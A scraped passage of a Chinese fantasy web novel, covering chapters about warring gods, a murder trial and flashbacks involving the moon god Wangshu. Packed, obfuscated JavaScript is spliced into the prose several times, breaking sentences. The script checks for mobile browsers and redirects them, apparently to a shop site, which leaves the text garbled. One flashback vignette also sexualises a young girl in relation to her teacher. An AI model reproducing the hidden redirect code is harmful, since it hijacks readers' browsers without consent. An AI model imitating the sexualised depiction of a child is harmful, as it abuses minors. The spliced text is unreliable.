“还会有的,古籍中秘法很多的……” “这一切……是不是一开始就错了……青鸾才对……她才是真正的半神……” “没有错……谁都……没有错。” “我做过好多事,参过军、打过仗、还刺杀过伪神,还……筹备了老师的结婚典仪……我做了好多……终于……止步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902517|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于此了……” “不……你还有未来,我向你承诺,你还有未来……” “别自欺欺人了……老师……” “小鸾儿……” “这柄神兵,名字叫诛邪,头一次开荤却是我自己……我才是邪恶的那个吧……我犯下了以欲为首的恶孽……都是我罪有应得……” “小鸾儿……” “老师,别哭……我们都会回到忘川,回到生命之……树……秩序之下……还会……再……见……” 荧惑守心怀中只余一柄匕首,其余的一切散作光点,随风飘散。神祇没有未来,忘川中没有祂们的位子,秩序也从不会对祂们宽容。 · 小姑娘怯生生的,被阿加雷斯抱着送到荧惑守心怀中。“这是你的老师了,叫人。”祂说。“老……师……”小姑娘格外紧张,含羞带怯地不愿和人交流。 小姑娘采了枝花,笑意盈盈,小跑过来插在他头上,“老师是这个世界上最漂亮的人!红鸾喜欢老师!”他抱着小孩,问道:“有多喜欢?”“特别特别喜欢老师!”小姑娘在他脸上啄下一口。 小姑娘在他的怀中醒来,震惊于失明的左眼,浑身颤抖,精神崩溃,“我怎么能,把我的妹妹吃掉呢……”他不知该怎么安慰,只好将小姑娘搂得更紧些。 小姑娘趴在榻上,任凭他拿着瓷碟给她伤处上药。“我……我再也不敢了……”他冷着脸,不想说话。“嘶……好痛!老师轻点……”他却又放轻动作,体贴备至。自此,小姑娘一见他拿了戒尺就乖乖听话不敢造次。 小姑娘站在树下,风将她和花瓣混合在一起,像是仙境中的仙子。“老师……”小姑娘抱着他格外用力。 小姑娘和锦簇坐在一起,看到他来就立刻躲了出去,“红鸾找师兄玩去。”话语中已带着泣音。 小姑娘睡梦之中,满面潮/红,口中不断唤着他的名字。他无奈,放下汤碗,运功轻轻将一汪春水纾解在掌下。“老师……”声音黏腻。 小姑娘双眼空洞,躺在他怀中拼命挤出“少阳山”三字。 小姑娘胸膛插着匕首,脸上是前所未有的释然,“秩序之下……还会……再……见……”不等他回话,她已回归尘土。 · “青鸾想让姐姐永远开心。”青鸾如是说。 东华少帝九槊贯虹仙君如是说。 42. (预) 此事一结,祂当即告别几人,乘船到扬州去了。 虽然祂没有经历过秦垭的审判,但各国的程序也都大同小异。在婆罗斯,嫌疑人会暂时与外界隔离。使节中会选出一名代表,成为“公方”对嫌疑人进行审讯,并主持召开审判。嫌疑人则需要自己挑选一个可靠的人称为“证方”,收集对嫌疑人有利的证据和公方对抗。 不过以上程序只适用于重大案件,小案子交由执政七人席的下属部门随便审审就可以了。 克拉斯托尔叫自己去捞他,显然将祂当做了证方,神明掺和这种事简直前所未有。 法律给吉尔伽美什留了一周时间,一周内若是找不到有力证据为他脱罪,公方就要直接宣判了。 祂问欧米伽:“有没有人提到过审判程序启动的日子?” “好像是后天。” “还来得及,至少咱们还有时间再翻翻法典。”祂说。 他们要是想成为证方,就得在审判程序启动当天出席,不然就算祂吉尔伽美什手眼通天也没办法把他捞出来。 时间紧任务重,乘船走是绝对来不及了。吉尔伽美什送欧米伽回帝京就已经耗尽了力量,传送到扬州去指定是不太现实了。无奈,欧米伽回了鹿身在天上冲刺,结果在经过即墨境内时因为超速进去了。 欧米伽无语,吉尔伽美什却毫无负担,靠在墙上接着翻法典。 “你不着急?”他问。 “害,没事,也就拘留一天。一天过去我的力量回满,咱俩就可以直接传送到扬州。” “明明是我去帝京,怎么你的力量却耗尽了?” “你是我的眷属嘛,力量使用的优先级是我在你前面哦。” · 不管怎样,至少二人挤进会场时程序才刚刚开始。 克拉斯托尔坐在被告席上,双眼无神仿佛大受挫折。主持程序的公方是望舒,六位从侍,全名叫明仪月使嫦兮望舒仙君。 这是个日常中就严肃古板的人,做什么事都按照规矩来。 “被告没有请证方来吗?”祂例行公事地询问。 “请……请了,人还没到……”克拉斯托尔局促不安,他自己也想不到自己居然成了刺杀神明的嫌疑人。 “这!我在这呢!望舒,我是证方!” 听到如此粗鲁一点都不优雅地话,望舒皱起了眉头,向看台上看去,果然看到了一个金发金瞳的小男孩牵着一个成年人在人群中穿梭。 “依照秦垭法典第五章第七百一十二条,证方需为秦垭国民。因此该证方无效,程序,启——”祂话音未落就被吉尔伽美什打断。 “依照国际法典第八章第七十四条,涉外案件需引入本国无关第三方。” 望舒手中持着代表着正义女神欧格玛的雷锤,手僵持在半空,锤子发出电流的声响,“你如何证明自己为本国无关第三方?” 祂一跃而起,飞向被告席位,身体在半空中不断发出光芒,身形也变成少年形状。 在场所有人都认出了祂的身份,郑重地跪地迎接这位尊贵的神明。祂这具最常用的身体闪着金光,“望舒,我现在可以算是本国无关第三方了吧?” 望舒没有下跪,只是平静地注视着祂,“依照秦垭法典第五章第一千八百二十条,在审判过程中使用照明工具者,处七日以上十三日以下拘留,并处罚金……” 吉尔伽美什立刻收回身上所有光芒。 “都是老同事了这么见外干什么。” “依照秦垭法典第五章第一千零四十二条,在审判程序启动中打断程序者,最高可判处死……” 吉尔伽美什乖乖坐下,道:“我遵守法庭秩序。” 程序正常启动,克拉斯托尔被带走前将一些话嘱咐给祂,他扯着祂丝绸的衣袖道:“我没有刺杀水神殿下,你相信我……” “放心,我会找出真相的。”吉尔伽美什说。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915026|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信我?” “就你那点风元素的力量给祂梳头都不够,谁信你能刺杀神明。只是走些必要程序给公众看而已,你不用怕。” · 和克拉斯托尔分别后,吉尔伽美什和欧米伽在街上漫无目的地走着,繁华的街道此时却是无比喧嚣。 “我已经拿到了公方的初步调查了,阿加雷斯是在使节的邑所中被人刺杀的。被刺时祂的通讯器打开了,留下了一段祂给余弦的录像。” 祂说着,伸手作光幕重现那段录像。画面中,阿加雷斯满身的血,表情脆弱,“国事要紧……当心……”没等说完祂就消散了,画面中原本在阿加雷斯背后的人就露了出来。 是克拉斯托尔,他垂着头,拿把刀,浑身是血。 他这么出现在现场,其实已经可以直接给他定罪了。但为了体现程序公正,公方必须召开审判。 “为什么不去找水神直接问个清楚?” “没办法,祂伤很重,没个几年醒不过来。” “这也能看出来?” 吉尔伽美什一抬手,掌上显出一棵树的虚影,这树有七杈,每枝树杈上树叶的颜色都不相同。 “白色的是我;水蓝色代表阿加雷斯;黄色是塔拉尼斯;紫色代表欧格玛;绿色代表阿尔忒弥斯;红色是塞列欧斯;黑色代表格剌西亚拉波斯,”祂手托着那树,另一只手指给欧米伽看,“这是我们在生命之树上的投影,在终焉降世的每一位神明在这里都有投影。你看,每一棵大的树杈上还有很多小的树杈,这些都是消亡了的神明。被我们所杀的会染上我们的颜色,被我们同化,自主消亡的就会变成灰色。你看,我找到你了,你在这。” 吉尔伽美什将那一处的树枝放大再放大,水蓝色的枝杈上浮着一个小小的四目白鹿图腾。 “可我是被曲方所杀,怎么算到水神那去了?” “神明的使节是祂们在人间的传话筒,自然属于一个阵营咯。” 43. Chapter43 回溯其二十三 第一万神时代,无论是什么东西都可以成神登上瓦尔塔哈尔的时代。 这听上去有点像神明间的大逃杀。神明以信徒的信仰作为自己的力量来源,更强者吞噬更弱者,杀到数量足够被七天神座所容纳为止。 七天神座,顾名思义,这个神殿中只有七把座椅,由神明间七位至强者占据,这里是瓦尔塔哈尔的绝对中心,是至高权利的象征。 神明杀红了眼,每个都设立了数以百计的使节,向人类传达神明的智慧,播撒崇高的信仰。祂们拼命地满足人类的愿望以求获得他们的供奉。 · 阿加雷斯闲着没事就会到终焉之地上都已走,他的足迹所至都成为了上等的耕地,民众也很期待祂的现身——祂的出现意味着丰饶。 这是个宁静的夜,所有人都沉浸在梦乡之中,仿佛战火只是在另一个世界上爆发。祂在找一种开放时就会死亡的花,一种第三夜神留下的珍稀造物。祂要找到这花,以此作为庆祝吉尔伽美什降世的大礼。 听上去像是贿赂,实际上这就是一种贿赂。通过寻找奇珍异宝讨好神主换取自己不朽的位子,赚翻了简直。 祂已经走了一夜,那种传说中的花并没有被祂找到。大概第三夜神的造物已经随着祂一同逝去了。但祂仍不死心,总要找到什么奇珍异宝才好。 月光下,光芒变得厚重,仿佛要凝成实体。阿加雷斯清楚这是什么——灵体在吸收秩序的力量,马上就要凝结成型降临世间。 又诞生了一位神祇,祂这么想着,躲到了树的后面,心中不自觉地谋划起来,倘若降下了一个能力不强的,干脆就直接扼杀,算做自己征战生涯的一点微不足道的添头;若是来了一位能够与吉尔伽美什分庭抗礼的,那就直接利用起来,作为自己的兵刃去扫清障碍,再渔翁得利,那这样简直是光辉的一笔。 天地之间光芒大振,似乎是渐渐有了人形,祂又耐心地等了个把时辰,终于得见其全貌。阿加雷斯惊喜的同时也叹了口气。 月神,第一位月神降世了。 祂十分笃定这是第一位月神,因为在祂之后一定会出现第二、第三月神,阿加雷斯已经摸清了一些规律——不代表着某种元素的神明一定会被吞噬,此时他又有些庆幸自己是水的神灵了。 饶是如此,却还有无数神明前赴后继,逆天而行。 第一月神还未睁眼,就被阿加雷斯带走去了瓦尔塔哈尔。 吉尔伽美什现在还没全疯,看到包装得像一盘可口饭菜的第一月神是傻了,整个神都不好了,“这是个什么玩意?”祂问阿加雷斯,而后者正用着一种热切到近乎诡异的眼神看着祂,“好东西,父神。”祂说。 “你正常点,这家伙既不是一盘菜也不是一个兵器,这是你同事……而且我也不是你父神。”吉尔伽美什在神座上懒洋洋地躺着,身边围绕着数不尽的黄金器皿,每个器皿中都有着取之不尽的佳肴。 对权势的狂热早就蒙蔽了祂的双眼,祂像个张牙舞爪的疯子,拖着未醒的第一月神爬到吉尔伽美什面前,不知道撞翻了多少金器。 祂伏在吉尔伽美什的膝头,伸着手指拨动着血色琼浆。 “父神……吾想要……” 吉尔伽美什长叹一口气,许了祂一个位子。 · 谁也不知道第一月神什么时候才能睁眼,况且吉尔伽美什已经看腻了这个玩意,不日打发阿加雷斯回下界去。 新生的神明在降世七日后终于睁开了双眼。阿加雷斯兴致未消,一直守着祂,一见祂觉醒就邀请道:“你要不要与吾成就一番霸业?” 第一月神刚降世,什么都不懂,就呆呆地望着祂,阿加雷斯也丝毫不在意,带着祂参观自己的天下:“东至虚海,西达圣山,北及冰原,南抵长滩。这都是吾的领土。” “你与吾一同建设终焉最好的国家。” 望着祂眼中的热切与真诚,第一月神用力点点头,什么都没说。 第一月神对秦垭可比阿加雷斯上心多了,祂整日亲临神殿,细心听取民众的愿望,再一个一个地将其实现。 神战总是要来的,在万神林立的时代更是频繁,阿加雷斯温和地揉着祂的头,道:“这次是要和第六花神对抗,你刚降世,不是祂的对手,还是留在后方吧。” 第一月神一口回绝了祂的提议,坚持要到神战一线去。阿加雷斯无奈,只好带来了另一位神明。 “这是第三日神,先你八千年降世。你们的力量同根同源……叫句姐姐也不为过。”祂带来了身着戎装的美丽女神,这位第三日神有着璀璨夺目的金色双眼,竖在额头正中间的第三只眼睛打着转,上下打量着自己这位便宜弟弟。 “羲和,但按照东大陆规矩,我另有一尊号曰浴渊日母泽润羲和。” 第一月神看着这位干练爽利的战神,不知道该说些什么。 “我……我是第一日神,我没有名字。” 羲和爽朗地笑着,揽着祂走了。 阿加雷斯跟在二位神祇后面,掏出自己的水剑轻轻擦拭。 没有谁的能力是绝对强的,大家都抱团在一起乱杀。和阿加雷斯一起的神祇就有第九巫神巫祝,第四乐神帝俊和第三日神羲和,眼下又来了新成员,自是要摆宴庆祝一番。 “来,吾等一同举杯,敬月神!”羲和说道,众神一同举杯,只有巫祝还阖眼睡着。 “用我把她摇醒吗?”羲和看了祂一眼,就要上手摇一摇,像摇晃包装猜礼物袋里面是什么的孩子。 阿加雷斯苦笑,把巫祝拎了起来挂在门板上,“让人家好好歇歇吧,今日这一卦对祂实在消耗太大了。” 众神喝尽了酒,就开始享受这不可多得的佳肴来,还格外贴心地温了一份留给巫祝吃。 神战对于人类来说可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954963|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能更像天文奇观:天空变成了花海,月亮和太阳在花海中沉浮,乐音不可名状,人类无法理解。 第一月神不擅长作战,就和巫祝一起留在大本营,指挥信徒与第六花神列拉金的信徒交战。 第一月神的歌声可以给人疗伤,战士们沐浴在月光下,由温和地小曲洗去满身伤痛。信徒们不知道这位神明的名字,就将其称之为“望舒”——在终焉语中意为永不凋谢的慈母之爱。祂也欣然接受,叫自己望舒,尊曰明仪月使嫦兮望舒仙君。 · 在无边的荒芜中,大批的花神信徒如潮水般涌来,他们的眼神中充满了绝望和恐惧。这已经不能被称作信徒,他们是灾民,是花神国土地上的流离失所者。花神的国土上,万物凋零,寸草不生,绝望的信徒们涌入了这片丰饶之地,寻找着最后的生存希望。 望舒的目光在人群中徘徊,祂问:“我们要救这些人吗?”语气中充斥着犹豫和困惑。 而巫祝早已束好头发,准备深入难民堆去了,“要救,人是无辜的,他们本不用卷入我们的征伐。” 六日前,巫祝进行了一大占,卦象预示着灾难在列拉金的国土上降临,第六花神即将陨落。这是一场无法避免的灾难,而这些难民,就是这场灾难的受害者。 “可这是敌人。”祂的声音矛盾又挣扎。 “这些是普通的人类,他们不是神明,他们不能永生,他们只有一条命。”巫祝看着望舒,祂们是神明,不能因为敌我之分,就放弃对生命的尊重和保护。 望舒没有反驳,和巫祝一起去救助这些灾民了。 天上的异象仍在持续,羲和几人并没有注意到大地上的事。祂们的眼中只有无尽的征伐,仿佛地面上的一切都与祂们无关。 “您……您的长发可真漂亮……”人说,指尖轻轻抚摸着巫祝雪白的长发。祂笑得灿烂,在人类面前神明总是这样,用自己的微光,照亮了黑暗的世界。 怯生生的小女孩勾住望舒的手指,“你们真好……你们……只有你们还愿意帮我们……” “我们可是神明啊,我们回应大家的愿望。” 在终焉之地降世的望舒天生亲近人类,一开始的那些抗拒和警惕也在祂三日的接触中化为泡沫。祂总是笑着,拿起药碗,又拿起饭勺。温和的月光消除病痛,祂人人称颂。 有了这群灾民的加入,药用得格外快,“大部分药材都准备完毕,都在这里了——止血草、止痛膏、退烧药剂……就差一种名为华胥的药材,只有帝京才有……我忙着救治伤员走不开,只能麻烦你去找点回来了。”巫祝熬着药汤,四只手中背后的两只手给祂打包好行囊,又另给祂添了个药篮。 望舒见识过祂的占卜神奇所在,很是仰慕祂,又折服于祂济世的胸怀,于是提起药篮就头也不回的去了。 再回来时,空荡荡的大本营只剩下一具宛如纸片的尸骸。 44. Chapter44 巫祝就这么陨落了,死相凄惨。 祂的身体诡异地折叠扭曲着,长发扼住了祂的颈,又死死捆住祂背后的两只手。身前昔日握着象笏的手抠抓着地面,甲缝中满是尘泥。 巫祝头扬起,死死地盯着大门口,灾民就是从那里出去的,祂死死盯着,就像在等着什么人回来一样。 望舒判断不出祂的死因,但能肯定祂之前一定受到了莫大的凌辱。 那一袭华美的,挂满珠宝的衣衫变成了碎片,绿松石滚到了烂泥之中。一粒又一粒的珠子在烂泥中人眼一样盯着祂,仿佛在嘲笑祂干出来的好事。 当初坚定一点好了,拦住祂就好了。 多么温和地,光华多姿的神明就这么陨落了,惨死在人类手中。 一种奇异的愤怒充斥着祂的胸膛,祂拿起巫祝曾经的配剑。长剑握在手中的那一刻,欢欣充满了祂的胸膛,仿佛祂生来就应该做这个的。 吉尔伽美什的话简直就是真理——虐杀是会带来快乐的。望舒变换为月修罗,将人类一个一个挑起,戏弄,再吃掉。祂的动作很优雅,吃起人来永远是先吃头,再是四肢,最后则是躯干。 吃人是比获取信奉更快的、更直接的增长力量的方法,祂拥有了比肩第六花神的力量,于是直奔战场,吞下了列拉金的头。 阿加雷斯很诧异,刚刚降世的神明竟然隐隐压自己一头,有着如此强大神奇的力量,而月修罗悲痛地将巫祝的死全盘托出,随后身子枯萎下去,重新变回望舒。 “你是干什么吃的?!和人类在一起久了你就真的把自己当成他们的一员了吗?!!那是敌人!!!!” 战斗女神羲和冲上去扯住祂的领子,愤怒地质问。 “我不能……不渡他们……” “你觉得你们做的是对的,可巫祝死了!!!祂陨落了!!!” 月修罗变回第一月神望舒,祂清明的眼中映着众神的绝望。 “祂还年轻,”阿加雷斯拍拍羲和的肩,“不明事理很正常。” 望舒嘴唇颤抖,不可置信,“您……您也赞同羲和的话?” “……他们是敌人。” 祂没再说什么,抱着自己的身子沉入弱水。 “结盟时,祂对吾说想要活着。” “祂会活着。” · 没人知道阿加雷斯用了什么法子复活巫祝,祂现在虽然沦为旧神,成为了水神的使节,却真真切切地站在众神面前。 祂抚摸着自己的长发,表情颇有些遗憾。 “?baciakihnigdmoat?”巫祝的声音极低,像迷蒙的古神灵智初开时的呓语。 “什……什么?”望舒愣住了,仔细想了半天才明白,巫祝问祂自己的头发为什么变得稀疏了。 “我的头发为什么变得稀疏了……”生前最后的事情,祂已经记不清。巫祝揽着自己的长发,神色颇为怜惜。 望舒背过身去,泣不成声,不知是懊悔还是心痛,“你……你把头发剪掉,再留长就好了……” “他们说我的头发很漂亮……我舍不得剪……舍不得剪……” 世界安静地像毁灭了一样。 夸赞祂长发的人,将祂的长发扯断,将祂凌辱致死。祂复活归来,仍惦念人的夸赞。 温柔造就了神明,温柔也将神明毁灭。 · 重生的巫祝精神状态不太好,总是时不时吐出一些预言,祂的毫无顾忌惹得人类心烦,渐渐门庭冷落。 神明又何尝不是如此,不是什么预言都能使神明坦然接受。 阿加雷斯在帝京为祂建造了豪华的天衍宫,随后便将祂囚禁其中。 “不!不能这样!”望舒扯着阿加雷斯的袖子大喊,企图让冷酷的神明回心转意。 阿加雷斯神色冷冷,不着痕迹地掰开了祂的手。 “大战在即,”祂衣摆上的宝石叮当作响,“吾不容任何异声。” 巫祝预言祂此战必败,紧接着就是……阿加雷斯堵上了祂的嘴,没有听到后一半。 祂此前亡了一次国了,不能再有第二次。 望舒扯着祂袖子,半跪下去,极尽哀求,“不会发生的,我愿献上三千化身以助战。” 毫无疑问,棋局败了,阿加雷斯一败涂地。祂没有责备任何人,祂的底牌在忘川和虚海,祂还有东山再起的资本,祂还有重整旗鼓的底气。 从前充斥着欢声笑语的厅内一片死寂,阿加雷斯不在,巫祝被关在天衍宫,如今只剩下了祂们三个。 “嘶……”望舒将背上的残肢扯了下来,扔在地上。祂不是头一次用出法相,但伤得这么重却还真是头一次。 沉寂的室内响起一阵响亮的珠子滑动声音,是羲和,祂司掌菩提树的生长与结实,身上常缀着一串串菩提子穿成的链子。祂闲着没事就喜欢盘这些菩提玩,这些珠子一个个被祂盘得油润光滑。 “好疲惫。”羲和平静地说,手上越来越暴躁的动作却将祂的心思彻底展现了出来。 三个人谁都没再说话,室内只剩下“哗啦哗啦”的盘珠子声。 · 阵法记录的影像早已隐去了,而欧米伽还站在码头上发呆。 他再次点下这个名字,望舒的身影果然出现在阿加雷斯身边。正如祂的猜测,那个让水神格外尊敬的人是祂。正在他为自己的聪明才智雀跃时,他背上的吉尔伽美什悠悠转醒。 “没想到你半鹿的姿态还蛮好看的。”祂骑在欧米伽背上,伸手刚好环住他的腰。精壮的腰身隔着衣料都能摸到肌肉,再和祂纤细的小身板一比——真是赏心悦目、赞不绝口的身材啊。 欧米伽当然为自己漂亮的外表而骄傲,却还颇不屑地说:“这有什么,我可是琼华府的……”他神情又有些落寞了。 吉尔伽美什没有在意他的落寞,转头在控制面板上看着欧米伽操作,“果然有望舒?”祂问。 “你也怀疑祂?” “一想到当今世上谁对阿加雷斯怨气最重,除了火神塞列欧斯,忘川主玲珑骰,剩下一个就是第一月神望舒了……” 吉尔伽美什突然愣住了,一段熟悉又陌生的记忆涌入祂脑海。 ·35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954964|135335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “此剑何名?” “凝光。” “怎么是这个名字?” “来如雷霆收震怒,去如江海凝清光。” · 祂好像意识到了什么,忙问:“之前山海拿的那柄凝光剑,阿加雷斯是不是把它带走了?” 欧米伽想了想,感觉祂似乎确实拿走了凝光剑,“好像是,怎么了?” “阿加雷斯遇刺,那剑呢?那是个绝世神兵,出鞘收剑甚至削刺劈砍都有特殊的剑鸣声。” “铺垫这么多,你想表达些什么?” "你听这段影像,是不是有剑鸣声?"吉尔伽美什的声音低沉而有力,"如果真是凝光剑伤了阿加雷斯,那刺杀者就不可能是克拉斯托尔,只能是望舒。凝光剑多次易主,但非其主绝不可能将其拔出。" 他们进入邑所,寻找那把阿加雷斯带回的剑。原因很简单,生命之树只告诉吉尔伽美什,阿加雷斯伤于背叛,但不能告诉祂究竟是来自于何人。 "我依稀记着,阿加雷斯对这柄剑意见不小?"欧米伽的声音中充满了好奇和疑问。 吉尔伽美什闭上了眼睛,用元素核心仔细检查剑的行踪。祂聆听风的低语,感受着剑的气息。 "这剑有很多神明用过,"祂说,声音中带着一丝淡淡的哀愁和无奈,"这玩意最大的价值就是作为礼物给来给去。" "它到山海手中之前的主人是扶桑的振早见左视川——当然这是俗名,这是凝光剑的诅咒,这把剑的主人只能用俗名称呼——格剌西亚拉波斯。"吉尔伽美什的声音中带着一丝沉重和哀伤。 欧米伽震惊:“暗神?这剑是从暗神手里回来的?” 吉尔伽美什探查结束,睁开了那黄金双眸,蛇瞳随着光芒的暗淡而消失。祂深邃的眼睛中暗潮涌动,思考着什么重要的事情。 "手伸的挺长。"祂说,声音中带着一丝嘲讽和不屑,格剌西亚拉波斯一如既往地不值得信任和尊重。 · 扬州的邑所内有个剑阁,很大一部分神兵都存在这里。 祂和欧米伽打开一个又一个剑匣,寻找收在其中的凝光剑。失落的记忆伴随着相同的场景回到祂的脑海之中,祂突然停下脚步,痴痴地笑了。 “我们一直都在幻境中啊,欧米伽。” 祂随手从剑匣中抽出一柄剑,刺向自己面前的旧神,环境訇然崩塌,他们仍站在码头。 “我们回到现实了吗……”欧米伽有些虚弱,身上挂了好多触媒都显得躯壳透明十足,那蓝宝石几乎能穿透他的身躯。 吉尔伽美什长叹,道:“我也不知道,希望这是真正的现实……有人刻意想要困住我们,不希望我们找到真正的凶手啊……” 他们又一次去了剑阁,果然找到了凝光剑。这剑还是和往常一样,剑身上做了许多装饰,左挂一串菩提,右挂一串美玉。 “真是把好看的剑啊。”欧米伽忍不住上手触碰,吉尔伽美什将剑从剑鞘中抽出,剑鸣清脆悦耳。 “这曾是权势的象征之一,无论是谁都以获得它作为自己的荣耀。” 45. Chapter45 谈判 “送你的,以此作为吾等结盟的信物。”阿加雷斯亲临陌生的国土,不远万里前来拜见这位光神的新宠。 祂就这么坐在廊桥上——这是这个国家的规矩,客人一般不进到内室中和主人交谈——尤其是和“异性”。 室内竖了四面屏风,屏风外还有一层竹制的帷帘,内间人只有衣摆的末端隐隐可见。 祂等了许久,室内的人才有了一些反应,衣料蹭动的声音窸窸窣窣。 “你也是来看我笑话的吗?”对面那位的声音仿佛是有两个声部,又像是一个男人和一个女人一起在说话。 “不是的,”阿加雷斯反驳祂,“吾把凝光剑送给你。”祂沿着帷帘下的缝隙将凝光剑送了进去,而对面此时也只是伸出了一只手——一只几乎完全隐藏在层叠衣摆下的手——去抓住了那柄剑,又迅速地缩回屏风后。 “黄金,宝石,美玉——你真的很呵护这把剑。”屏风后的神明道。 “不是的,那些都是剑曾经的主人留下的装饰。”阿加雷斯道。 室内的神明没有说话,寂静的宫殿内只有祂拨动剑鞘装饰的声音。 不久,阿加雷斯提出了一个要求:“让吾看一看你的面容吧,你与吾结盟,这样的诚意总是要有的。” 室内的神明言语平缓,并未带有多少感情,“没有看的必要吧,你,我,我们长成什么样子,我们长得像谁——你可比我更清楚。” 阿加雷斯低下头,没有再搭话。祂心里明白得很,祂若不明白,今日也不会来见祂,还把凝光剑送给祂。 天渐渐阴了,好像是要下雨。 “没想到你这神宫是会下雨的,帝京自王庭起就只有晴天。”阿加雷斯道。 雨伴着雷和电一同落了下来,打湿庭院,扑进廊桥,却识趣地绕开了水之神的衣摆。室内的神明放松了些,衣料摩擦间,祂放下凝光剑,斜倚着,听雨声滴滴答答。 祂道:“这里是扶桑,我们崇尚自然,敬畏自然的力量,你们往往行走坐卧间就创造出迥于自然的地貌,向人类彰显你们神力的伟大——这正是在破坏秩序,神明生造出来的东西不属于自然,也将毁灭自然。” 阿加雷斯笑了:“你指人类?” 神宫的雨可真大,仿佛天漏了一样,雨像水帘一样倾泻而下,密不透风。 “我可没说过。” 于是谁都不说话了,祂们就这样听着雨声,听一听秩序庄严的宣告。 · 没人知道祂们坐了多久,没人知道这场雨下了多久。 “多么荒谬,”室内的神明说,“我们自认为是这个世界的至强者,却还是在世界法则的约束之下和这片名为终焉的叶子一同轮回——随时消亡,随时新生。” 阿加雷斯听祂这么说,不由得攥紧了衣摆,“你知道世界的真相?你还知道什么!” 这简直像在质问,阿加雷斯并非这个世界产生的第一个神明,而吉尔伽美什早将世界运行的底层逻辑隐藏。可谁能想到,那隐藏了近二十万年的秘密就这样被一个刚降世的神明讲笑话一般大白于天下。 “我的力量与吉尔伽美什同源相反,我即为祂的反面。我明晓过去,现在与未来,因为我正是死亡之神,毁灭之神,我名为格剌西亚拉波斯,我正是扶桑的化身——”暗神抽出凝光剑,此时,电光降下,剑音峥鸣中,阿加雷斯看清了那张和自己一般无二的脸。 “振早见左视川。” 这便是格剌西亚拉波斯的俗名,和凤鸣、鹿克斯一样,具有同等的效力。 格剌西亚拉波斯愿意和祂订立盟约,这阿加雷斯能感受到,于是祂也释放了力量,同格剌西亚拉波斯结下这个对抗旧秩序的盟约。 “吾乃繁荣之神,耕作之神,水之神,吾名为阿加雷斯,吾与你订立至高无上的约定,共享一切生命之树的权能。” “我即为毁灭,我即为扫荡。我将改变世界的路径,我将指引新的方向。” · 没人知道吉尔伽美什的近况,没人知道祂到底被人类的欲望侵蚀到什么程度。 这或许是个闭环,神明降世创造出人类,庇佑人类,吸取人类的信奉变得更强;人类又在无休止的欲望中将神明侵蚀,神明在痛苦中陨落,世界之树又在人类的欲望中使新的神明降世,再一次进行重复。 吉尔伽美什降世已近二十万年了,这实在是太久了。祂既不像同期的塔拉尼斯以避世减少侵蚀,又不像水神阿加雷斯偶尔扮成人类将自己净化,祂无休止地执政,汲取信徒们无上虔诚的信仰为力量——而后又用这份力量对其他神明展开争夺,傲慢又猖狂。 格剌西亚拉波斯有个伟大的设想,祂要以光明之神的背面之身份向其宣战,祂要打碎一切旧秩序,让整个终焉走上新的道路——哪怕是以牺牲自己为代价。 祂已经看到了新生的强劲力量,人的力量,渺小的人类正在撼动神明的根基。是笑容,是哭泣,是惨叫又或是咆哮,微不足道的人类,每一个使节甚至每一位神明都是可以利用的对象。 吉尔伽美什,祂就算再强大,也无法与整个世界为敌。 祂一开始也不知道自己这样做的初衷,失去了腹中跳动的果实被刚赶下瓦尔塔哈尔的那段日子祂是那样难过,可是在亲眼见到地上这群渺小的生灵后祂就觉得这是吉尔伽美什对祂的恩赐:祂让自己看到了破局的希望,也给了自己挥刀指向祂已经祂所代表的旧秩序的机会。 格剌西亚拉波斯已经看到了故事的结局:婆罗斯的国灭,那是旧秩序瓦解的开始,而自己也将成为殉道者。 阿加雷斯就那样看着祂,目光中带着一丝探究。这样的目光在瓦尔塔哈尔上祂就见过一次,仿佛是讶异于祂和吉尔伽美什的相像,又或是对自己骤然失宠的不甘。 祂冷笑,问阿加雷斯:“你在看,你是在看我,还是在透过我看别的什么?” 阿加雷斯什么都没说,起身告辞。 行至渡口时,祂见羲和与望舒撑船来接。 “此程艰难,你们何必来接我。”祂嗔道。 羲和道:“担心您罢了。” 